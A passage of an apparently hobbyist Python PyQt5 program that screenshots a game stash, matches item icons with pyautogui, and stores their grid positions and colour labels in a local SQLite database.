(Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"3\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"4\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"5\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"6\" ,\"7\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"0\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"1\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"2\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"3\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"4\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"5\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"6\",\"None\",\"Green\",1);\r\n insert into Stash (Cordx,Cordy,Name,Color,Checked) values (\"7\" ,\"7\",\"None\",\"Green\",1);\r\n \"\"\"\r\n \r\n execute_query(connection, truncate)\r\n\r\n\r\n\r\n\r\n\r\ndef Reload_stash():\r\n\r\n\r\n\r\n\r\n connection = create_connection(\"inventory.sqlite\")\r\n\r\n Truncate_tables()\r\n\r\n select = 'Select Name,Img_Location from inventory;'\r\n Mods_NameImg = execute_read_query(connection, select)\r\n stash = pyautogui.screenshot()\r\n stash.save(\"stash.png\")\r\n\r\n\r\n for x in range(len(Mods_NameImg)):\r\n\r\n #Located = (list(pyautogui.locateAllOnScreen( Mods_NameImg[x][1], confidence=0.99,region=(155, 461, 584, 584) )))\r\n Located = list(pyautogui.locateAll(Mods_NameImg[x][1], stash, confidence=0.99,region=(155, 461, 584, 584)))\r\n\r\n for y in range(len(Located )):\r\n\r\n Cordx = int((Located[y][0]-155+36)/73)\r\n Cordy = int((Located[y][1]-461+36)/73)\r\n\r\n Insert = \"Insert into {} (Cordx,Cordy) values({},{}); \".format(Mods_NameImg[x][0],Cordx,Cordy)\r\n\r\n execute_query(connection, Insert) \r\n Insert2 ='Update Stash set Name=\"{}\" where Cordx={} and Cordy={} ; '.format(Mods_NameImg[x][0],Cordx,Cordy)\r\n\r\n execute_query(connection, Insert2) \r\n\r\n \r\n\r\n\r\nclass Worker(QObject):\r\n finished = pyqtSignal()\r\n \r\n\r\n def run(self):\r\n Reload_stash()\r\n self.finished.emit()\r\n\r\nclass DragButton():\r\n def updateconf(Name,OldColor,NewColor,PozOld,PozNew):\r\n \r\n if PozOld == 0 : \r\n Pozname = \"1z1\"\r\n if PozOld == 1 : \r\n Pozname = \"1z2\" \r\n if PozOld == 2 : \r\n Pozname = \"2z2\"\r\n if PozOld == 3 : \r\n Pozname = \"1z3\" \r\n if PozOld == 4 : \r\n Pozname = \"2z3\"\r\n if PozOld == 5 : \r\n Pozname = \"3z3\" \r\n if PozOld == 6 : \r\n Pozname = \"1z4\"\r\n if PozOld == 7 : \r\n Pozname = \"2z4\" \r\n if PozOld == 8 : \r\n Pozname = \"3z4\"\r\n if PozOld == 9 : \r\n Pozname = \"4z4\" \r\n \r\n \r\n if PozNew == 0 : \r\n Pozname2 = \"1z1\"\r\n if PozNew == 1 : \r\n Pozname2 = \"1z2\" \r\n if PozNew == 2 : \r\n Pozname2 = \"2z2\"\r\n if PozNew == 3 : \r\n Pozname2 = \"1z3\" \r\n if PozNew == 4 : \r\n Pozname2 = \"2z3\"\r\n if PozNew == 5 : \r\n Pozname2 = \"3z3\" \r\n if PozNew == 6 : \r\n Pozname2 = \"1z4\"\r\n if PozNew == 7 : \r\n Pozname2 = \"2z4\" \r\n if PozNew == 8 : \r\n Pozname2 = \"3z4\"\r\n if PozNew == 9 : \r\n Pozname2 = \"4z4\" \r\n \r\n delete_data = 'delete from Color'+OldColor+' where Poz'+Pozname+' =\"'+Name+'\"; '\r\n \r\n \r\n \r\n write_data = 'insert into Color'+newColor+' (Poz'+Pozname2+') values (\"{}\") ;'.format(Name)\r\n execute_query(connection, delete_data)\r\n execute_query(connection, write_data) \r\n \r\n def Closethis(self): \r\n #zapis do DB\r\n self.Uberbuton.setParent(None) \r\n def setcolor(self, color): \r\n print (color)\r\n if color == \"0\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid black; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"1\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(127, 127, 127, 1); \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"2\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(136, 0, 21, 1); \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"3\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(255, 127,39, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"4\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(255, 242, 0, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"5\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(34, 177, 76, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"6\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(0, 162, 232, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"7\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(63, 72, 204, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"8\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(163, 73, 167, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"9\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(0, 234, 234, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"10\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(255, 128, 128, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"11\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(255, 255, 128, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n \r\n if color == \"12\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(128, 255, 128, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"13\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(209, 200, 12, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"14\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(128, 128, 0, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"15\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(237, 69, 241, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"16\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(0, 128, 64, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"17\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(0, 0, 255, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"18\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid rgba(0, 255, 0, 1);; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n if color == \"19\" :\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid white; \"\r\n \"background-color : rgba(255, 255, 255, 1);\"\r\n \"}\") \r\n def __init__(self, Name, Cordx, Cordy,color,poz,where):\r\n self.Name = Name\r\n self.Cordx = Cordx\r\n self.Cordy = Cordy\r\n self.where = where \r\n self.Color = color\r\n self.Poz = poz\r\n \r\n \r\n read_data = 'select Reward,Bonus,Level,Img_Location,NiceName from inventory where Name=\"{}\";'.format(self.Name) \r\n status = execute_read_query(connection, read_data)\r\n Rewards = status[0][0] \r\n Bonus = status[0][1]\r\n Level = status[0][2]\r\n Img_location = status[0][3]\r\n NiceName = status[0][4]\r\n\r\n \r\n \r\n \r\n #zapis do DB\r\n self.Uberbuton = QtWidgets.QFrame(self.where)\r\n self.Uberbuton.setGeometry(QtCore.QRect(self.Cordx, self.Cordy, 300,100))\r\n self.Uberbuton.setObjectName(\"Framik\")\r\n self.Uberbuton.setStyleSheet(\"#Framik\" \r\n \"{\" \r\n \"border: 3px solid White; \"\r\n \"background-color : rgba(255, 255, 255, .9);\"\r\n \"}\")\r\n self.Uberbuton.setAcceptDrops(True)\r\n self.Uberbuton.show()\r\n\r\n self.button = QtWidgets.QPushButton(self.Uberbuton)\r\n self.button.setGeometry(QtCore.QRect(290, 0, 10,10))\r\n self.button.setText('X')\r\n self.button.clicked.connect( self.Closethis )\r\n self.button.show() \r\n\r\n self.setcolor(str(self.Color))\r\n \r\n MainImage = QtWidgets.QLabel(self.Uberbuton)\r\n MainImage.setScaledContents(True)\r\n MainImage.setGeometry(0,0, 55,55)\r\n \r\n \r\n MainImageIcon = QtGui.QPixmap(\"icon/\"+Img_location)\r\n MainImage.setPixmap(MainImageIcon)\r\n MainImage.show() \r\n \r\n\r\n self.movebuttonUP = QtWidgets.QPushButton(self.Uberbuton)\r\n self.movebuttonUP.setGeometry(QtCore.QRect(263, 15,15,20))\r\n iconUP = QtGui.QIcon()\r\n iconUP.addPixmap(QtGui.QPixmap('icon/Up.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.movebuttonUP.setIconSize(QtCore.QSize(15,20))\r\n self.movebuttonUP.setIcon(iconUP) \r\n self.movebuttonUP.clicked.connect(lambda: self.moveMe(1))\r\n self.movebuttonUP.setStyleSheet(\"QPushButton\" \r\n \"{\" \r\n \r\n \"background-color : Transparent;\"\r\n \"}\") \r\n self.movebuttonUP.show() \r\n \r\n self.movebuttonDown = QtWidgets.QPushButton(self.Uberbuton)\r\n self.movebuttonDown.setGeometry(QtCore.QRect(263,50,15,20))\r\n iconDown = QtGui.QIcon()\r\n iconDown.addPixmap(QtGui.QPixmap('icon/Down.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.movebuttonDown.setIconSize(QtCore.QSize(15,20))\r\n self.movebuttonDown.setIcon(iconDown) \r\n self.movebuttonDown.clicked.connect(lambda: self.moveMe(2))\r\n self.movebuttonDown.setStyleSheet(\"QPushButton\" \r\n \"{\" \r\n \r\n \"background-color : Transparent;\"\r\n \"}\") \r\n self.movebuttonDown.show() \r\n \r\n self.movebuttonLeft = QtWidgets.QPushButton(self.Uberbuton)\r\n self.movebuttonLeft.setGeometry(QtCore.QRect(243, 35, 20,15))\r\n iconLeft = QtGui.QIcon()\r\n iconLeft.addPixmap(QtGui.QPixmap('icon/Left.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.movebuttonLeft.setIconSize(QtCore.QSize(20,15))\r\n self.movebuttonLeft.setIcon(iconLeft) \r\n self.movebuttonLeft.clicked.connect(lambda: self.moveMe(3))\r\n self.movebuttonLeft.setStyleSheet(\"QPushButton\" \r\n \"{\" \r\n \r\n \"background-color : Transparent;\"\r\n \"}\") \r\n self.movebuttonLeft.show() \r\n \r\n self.movebuttonRight = QtWidgets.QPushButton(self.Uberbuton)\r\n self.movebuttonRight.setGeometry(QtCore.QRect(278,35, 20,15))\r\n iconRight = QtGui.QIcon()\r\n iconRight.addPixmap(QtGui.QPixmap('icon/Right.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.movebuttonRight.setIcon(iconRight) \r\n self.movebuttonRight.setIconSize(QtCore.QSize(20,15))\r\n self.movebuttonRight.clicked.connect(lambda: self.moveMe(4))\r\n self.movebuttonRight.setStyleSheet(\"QPushButton\" \r\n \"{\" \r\n \r\n \"background-color : Transparent;\"\r\n \"}\") \r\n self.movebuttonRight.show() \r\n \r\n self.label = QtWidgets.QLabel(self.Uberbuton)\r\n self.label.setText(NiceName)\r\n self.label.setStyleSheet(\"QLabel{font-size: 15pt;}\")\r\n self.label.move(60,5)\r\n self.label.show() \r\n \r\n \r\n self.Bonuslabel = QtWidgets.QLabel(self.Uberbuton)\r\n self.Bonuslabel.setGeometry(QtCore.QRect(60,35, 180,50))\r\n self.Bonuslabel.setText(Bonus)\r\n self.Bonuslabel.setStyleSheet(\"QLabel{font-size: 10pt;}\")\r\n self.Bonuslabel.setWordWrap(True)\r\n self.Bonuslabel.show() \r\n \r\n \r\n \r\n Rewards_list = Rewards.split(\",\")\r\n print(Rewards_list)\r\n if len(Rewards_list) == 1:\r\n rewards1 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards1.setScaledContents(True)\r\n rewards1.setGeometry(7,55, 20,22)\r\n \r\n rewards1.setText(self.Name)\r\n iconrewards1 = QtGui.QPixmap(\"rewards/\"+Rewards_list[0]+\".png\")\r\n rewards1.setPixmap(iconrewards1)\r\n rewards1.show() \r\n if len(Rewards_list) == 2:\r\n rewards1 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards1.setScaledContents(True)\r\n rewards1.setGeometry(7,55, 20,22)\r\n \r\n rewards1.setText(self.Name)\r\n iconrewards1 = QtGui.QPixmap(\"rewards/\"+Rewards_list[0]+\".png\")\r\n rewards1.setPixmap(iconrewards1)\r\n rewards1.show() \r\n \r\n rewards2 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards2.setScaledContents(True)\r\n rewards2.setGeometry(27,55, 20,22)\r\n \r\n rewards2.setText(self.Name)\r\n iconrewards2 = QtGui.QPixmap(\"rewards/\"+Rewards_list[1]+\".png\")\r\n rewards2.setPixmap(iconrewards2)\r\n rewards2.show() \r\n if len(Rewards_list) == 3:\r\n rewards1 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards1.setScaledContents(True)\r\n rewards1.setGeometry(7,55, 20,22)\r\n \r\n rewards1.setText(self.Name)\r\n iconrewards1 = QtGui.QPixmap(\"rewards/\"+Rewards_list[0]+\".png\")\r\n rewards1.setPixmap(iconrewards1)\r\n rewards1.show() \r\n \r\n rewards2 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards2.setScaledContents(True)\r\n rewards2.setGeometry(27,55, 20,22)\r\n \r\n rewards2.setText(self.Name)\r\n iconrewards2 = QtGui.QPixmap(\"rewards/\"+Rewards_list[1]+\".png\")\r\n rewards2.setPixmap(iconrewards2)\r\n rewards2.show() \r\n \r\n rewards3 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards3.setScaledContents(True)\r\n rewards3.setGeometry(7,75, 20,22)\r\n \r\n rewards3.setText(self.Name)\r\n iconrewards3 = QtGui.QPixmap(\"rewards/\"+Rewards_list[2]+\".png\")\r\n rewards3.setPixmap(iconrewards3)\r\n rewards3.show() \r\n if len(Rewards_list) == 4:\r\n rewards1 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards1.setScaledContents(True)\r\n rewards1.setGeometry(7,55, 20,22)\r\n \r\n rewards1.setText(self.Name)\r\n iconrewards1 = QtGui.QPixmap(\"rewards/\"+Rewards_list[0]+\".png\")\r\n rewards1.setPixmap(iconrewards1)\r\n rewards1.show() \r\n \r\n rewards2 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards2.setScaledContents(True)\r\n rewards2.setGeometry(27,55, 20,22)\r\n \r\n rewards2.setText(self.Name)\r\n iconrewards2 = QtGui.QPixmap(\"rewards/\"+Rewards_list[1]+\".png\")\r\n rewards2.setPixmap(iconrewards2)\r\n rewards2.show() \r\n \r\n rewards3 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards3.setScaledContents(True)\r\n rewards3.setGeometry(7,75, 20,22)\r\n \r\n rewards3.setText(self.Name)\r\n iconrewards3 = QtGui.QPixmap(\"rewards/\"+Rewards_list[2]+\".png\")\r\n rewards3.setPixmap(iconrewards3)\r\n rewards3.show() \r\n \r\n rewards4 = QtWidgets.QLabel(self.Uberbuton)\r\n rewards4.setScaledContents(True)\r\n rewards4.setGeometry(27,75, 20,22)\r\n \r\n rewards4.setText(self.Name)\r\n iconrewards4 = QtGui.QPixmap(\"rewards/\"+Rewards_list[3]+\".png\")\r\n rewards4.setPixmap(iconrewards4)\r\n rewards4.show() \r\n \r\n \r\n \r\n self.comboBox2 = QtWidgets.QComboBox(self.Uberbuton)\r\n self.comboBox2.setGeometry(QtCore.QRect(300-104, 100-25, 40, 20))\r\n self.comboBox2.setObjectName(\"packsize\")\r\n self.comboBox2.setIconSize(QtCore.QSize(50, 10))\r\n \r\n self.comboBox2.addItem(\"1\")\r\n self.comboBox2.setItemText(0,\"1/1\") \r\n self.comboBox2.addItem(\"2\")\r\n self.comboBox2.setItemText(1,\"1/2\")\r\n self.comboBox2.addItem(\"3\")\r\n self.comboBox2.setItemText(2,\"2/2\") \r\n \r\n self.comboBox2.addItem(\"4\")\r\n self.comboBox2.setItemText(3,\"1/3\") \r\n \r\n self.comboBox2.addItem(\"5\")\r\n self.comboBox2.setItemText(4,\"2/3\") \r\n \r\n self.comboBox2.addItem(\"6\")\r\n self.comboBox2.setItemText(5,\"3/3\") \r\n \r\n self.comboBox2.addItem(\"7\")\r\n self.comboBox2.setItemText(6,\"1/4\")\r\n self.comboBox2.addItem(\"8\")\r\n self.comboBox2.setItemText(7,\"2/4\")\r\n self.comboBox2.addItem(\"9\")\r\n self.comboBox2.setItemText(8,\"3/4\")\r\n self.comboBox2.addItem(\"10\")\r\n self.comboBox2.setItemText(9,\"4/4\") \r\n self.comboBox2.setCurrentIndex(self.Poz)\r\n self.comboBox2.show()\r\n \r\n self.comboBox = QtWidgets.QComboBox(self.Uberbuton)\r\n self.comboBox.setGeometry(QtCore.QRect(300-64, 100-25, 60, 20))\r\n self.comboBox.setObjectName(\"ColorcomboBox\")\r\n \r\n \r\n icon1 = QtGui.QIcon()\r\n icon1.addPixmap(QtGui.QPixmap(\"Colors/1.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon1, \"1\")\r\n self.comboBox.setItemText(0,\"1\")\r\n \r\n icon2 = QtGui.QIcon()\r\n icon2.addPixmap(QtGui.QPixmap(\"Colors/2.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon2, \"2\")\r\n self.comboBox.setItemText(1,\"2\")\t\r\n \r\n icon3 = QtGui.QIcon()\r\n icon3.addPixmap(QtGui.QPixmap(\"Colors/3.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon3, \"3\")\r\n self.comboBox.setItemText(2,\"3\")\r\n \r\n icon4 = QtGui.QIcon()\r\n icon4.addPixmap(QtGui.QPixmap(\"Colors/4.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon4, \"4\")\r\n self.comboBox.setItemText(3,\"4\")\r\n \r\n icon5 = QtGui.QIcon()\r\n icon5.addPixmap(QtGui.QPixmap(\"Colors/5.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon5, \"5\")\r\n self.comboBox.setItemText(4,\"5\")\r\n \r\n icon6 = QtGui.QIcon()\r\n icon6.addPixmap(QtGui.QPixmap(\"Colors/6.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon6, \"6\")\r\n self.comboBox.setItemText(5,\"6\")\r\n \r\n icon7 = QtGui.QIcon()\r\n icon7.addPixmap(QtGui.QPixmap(\"Colors/7.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon7, \"7\")\r\n self.comboBox.setItemText(6,\"7\")\r\n \r\n icon8 = QtGui.QIcon()\r\n icon8.addPixmap(QtGui.QPixmap(\"Colors/8.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon8, \"8\")\r\n self.comboBox.setItemText(7,\"8\")\r\n \r\n icon9 = QtGui.QIcon()\r\n icon9.addPixmap(QtGui.QPixmap(\"Colors/9.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon9, \"9\")\r\n self.comboBox.setItemText(8,\"9\")\r\n \r\n icon10 = QtGui.QIcon()\r\n icon10.addPixmap(QtGui.QPixmap(\"Colors/10.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon10, \"10\")\r\n self.comboBox.setItemText(9,\"10\")\r\n \r\n icon11 = QtGui.QIcon()\r\n icon11.addPixmap(QtGui.QPixmap(\"Colors/11.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon11, \"11\")\r\n self.comboBox.setItemText(10,\"11\")\r\n \r\n icon12 = QtGui.QIcon()\r\n icon12.addPixmap(QtGui.QPixmap(\"Colors/12.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon12, \"12\")\r\n self.comboBox.setItemText(11,\"12\")\r\n \r\n icon13 = QtGui.QIcon()\r\n icon13.addPixmap(QtGui.QPixmap(\"Colors/13.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon13, \"13\")\r\n self.comboBox.setItemText(12,\"13\")\r\n \r\n icon14 = QtGui.QIcon()\r\n icon14.addPixmap(QtGui.QPixmap(\"Colors/14.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon14, \"14\")\r\n self.comboBox.setItemText(13,\"14\")\r\n \r\n icon15 = QtGui.QIcon()\r\n icon15.addPixmap(QtGui.QPixmap(\"Colors/15.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon15, \"15\")\r\n self.comboBox.setItemText(14,\"15\")\r\n \r\n icon16 = QtGui.QIcon()\r\n icon16.addPixmap(QtGui.QPixmap(\"Colors/16.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon16, \"16\")\r\n self.comboBox.setItemText(15,\"16\")\r\n \r\n icon17 = QtGui.QIcon()\r\n icon17.addPixmap(QtGui.QPixmap(\"Colors/17.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon17, \"17\")\r\n self.comboBox.setItemText(16,\"17\")\r\n \r\n icon18 = QtGui.QIcon()\r\n icon18.addPixmap(QtGui.QPixmap(\"Colors/18.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon18, \"18\")\r\n self.comboBox.setItemText(17,\"18\")\r\n \r\n icon19 = QtGui.QIcon()\r\n icon19.addPixmap(QtGui.QPixmap(\"Colors/19.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon19, \"19\")\r\n self.comboBox.setItemText(18,\"19\")\r\n \r\n icon20 = QtGui.QIcon()\r\n icon20.addPixmap(QtGui.QPixmap(\"Colors/20.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.comboBox.addItem(icon20, \"20\")\r\n self.comboBox.setItemText(19,\"20\") \r\n self.comboBox.setCurrentIndex(self.Color)\r\n \r\n self.comboBox.show()\r\n \r\n self.comboBox.currentIndexChanged.connect(lambda: self.setcolor(str(self.comboBox.currentIndex())))\r\n \r\n def moveMe(self , direction):\r\n if direction == 1 :\r\n \r\n self.Uberbuton.move(self.Uberbuton.x(),self.Uberbuton.y()-110) \r\n #zapis do DB\r\n if direction == 2 :\r\n \r\n self.Uberbuton.move(self.Uberbuton.x(),self.Uberbuton.y()+110) \r\n #zapis do DB\r\n if direction == 3 :\r\n \r\n self.Uberbuton.move(self.Uberbuton.x()-310,self.Uberbuton.y())\r\n #zapis do DB\r\n \r\n\r\n if direction == 4 :\r\n\r\n self.Uberbuton.move(self.Uberbuton.x()+310,self.Uberbuton.y())\r\n #zapis do DB\r\n \r\n \r\n \r\nclass Ui_MainWindow(object):\r\n def runLongTask(self):\r\n # Step 2: Create a QThread object\r\n self.thread = QThread()\r\n # Step 3: Create a worker object\r\n self.worker = Worker()\r\n # Step 4: Move worker to the thread\r\n self.worker.moveToThread(self.thread)\r\n # Step 5: Connect signals and slots\r\n self.thread.started.connect(self.worker.run)\r\n self.worker.finished.connect(self.thread.quit)\r\n self.worker.finished.connect(self.worker.deleteLater)\r\n self.thread.finished.connect(self.thread.deleteLater)\r\n\r\n # Step 6: Start the thread\r\n self.thread.start()\r\n \r\n \r\n self.thread.finished.connect(\r\n lambda: print(\"refresheed\")\r\n ) \r\n \r\n def createuberbuton(self, Name, Cordx, Cordy,color,poz,where):\r\n \r\n \r\n self.Name = Name\r\n self.Cordx = Cordx\r\n self.Cordy = Cordy\r\n self.where = where \r\n self.color = color\r\n self.poz = poz\r\n \r\n \r\n \r\n \r\n self.newUberButton = DragButton(self.Name,self.Cordx,self.Cordy,color,poz,self.where)\r\n \r\n def draw_something(self):\r\n painter = QtGui.QPainter(self.Painter.pixmap())\r\n pen = QtGui.QPen()\r\n pen.setWidth(80)\r\n pen.setColor(QtGui.QColor('white'))\r\n painter.setOpacity(0.6)\r\n painter.setPen(pen)\r\n painter.drawPoint(40, 40)\r\n painter.end() \r\n \r\n def draw_somethingelse(self):\r\n print (self.Grid_Painter.pixmap())\r\n painterelse = QtGui.QPainter(self.Grid_Painter.pixmap())\r\n penelse = QtGui.QPen()\r\n penelse.setWidth(4)\r\n penelse.setColor(QtGui.QColor('red'))\r\n #painterelse.setOpacity(0.3)\r\n painterelse.setPen(penelse)\r\n \r\n 